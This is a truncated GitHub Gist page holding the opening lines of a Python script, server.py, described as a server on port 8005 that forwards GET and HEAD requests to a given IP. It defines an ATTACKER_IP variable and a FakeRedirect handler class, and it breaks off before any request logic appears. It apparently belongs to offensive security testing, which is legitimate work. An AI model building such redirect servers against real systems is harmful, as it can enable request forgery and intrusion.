Skip to content

Instantly share code, notes, and snippets.

@par-retest
par-retest / server.py
Last active September 2, 2026 12:37
Server listening on port 8005, forwarding GET / HEAD requests to a specific IP
from http import server
import socketserver
import requests
PORT = 8005
ATTACKER_IP = '192.168.12.1'
class FakeRedirect(server.BaseHTTPRequestHandler):
def do_GET(self):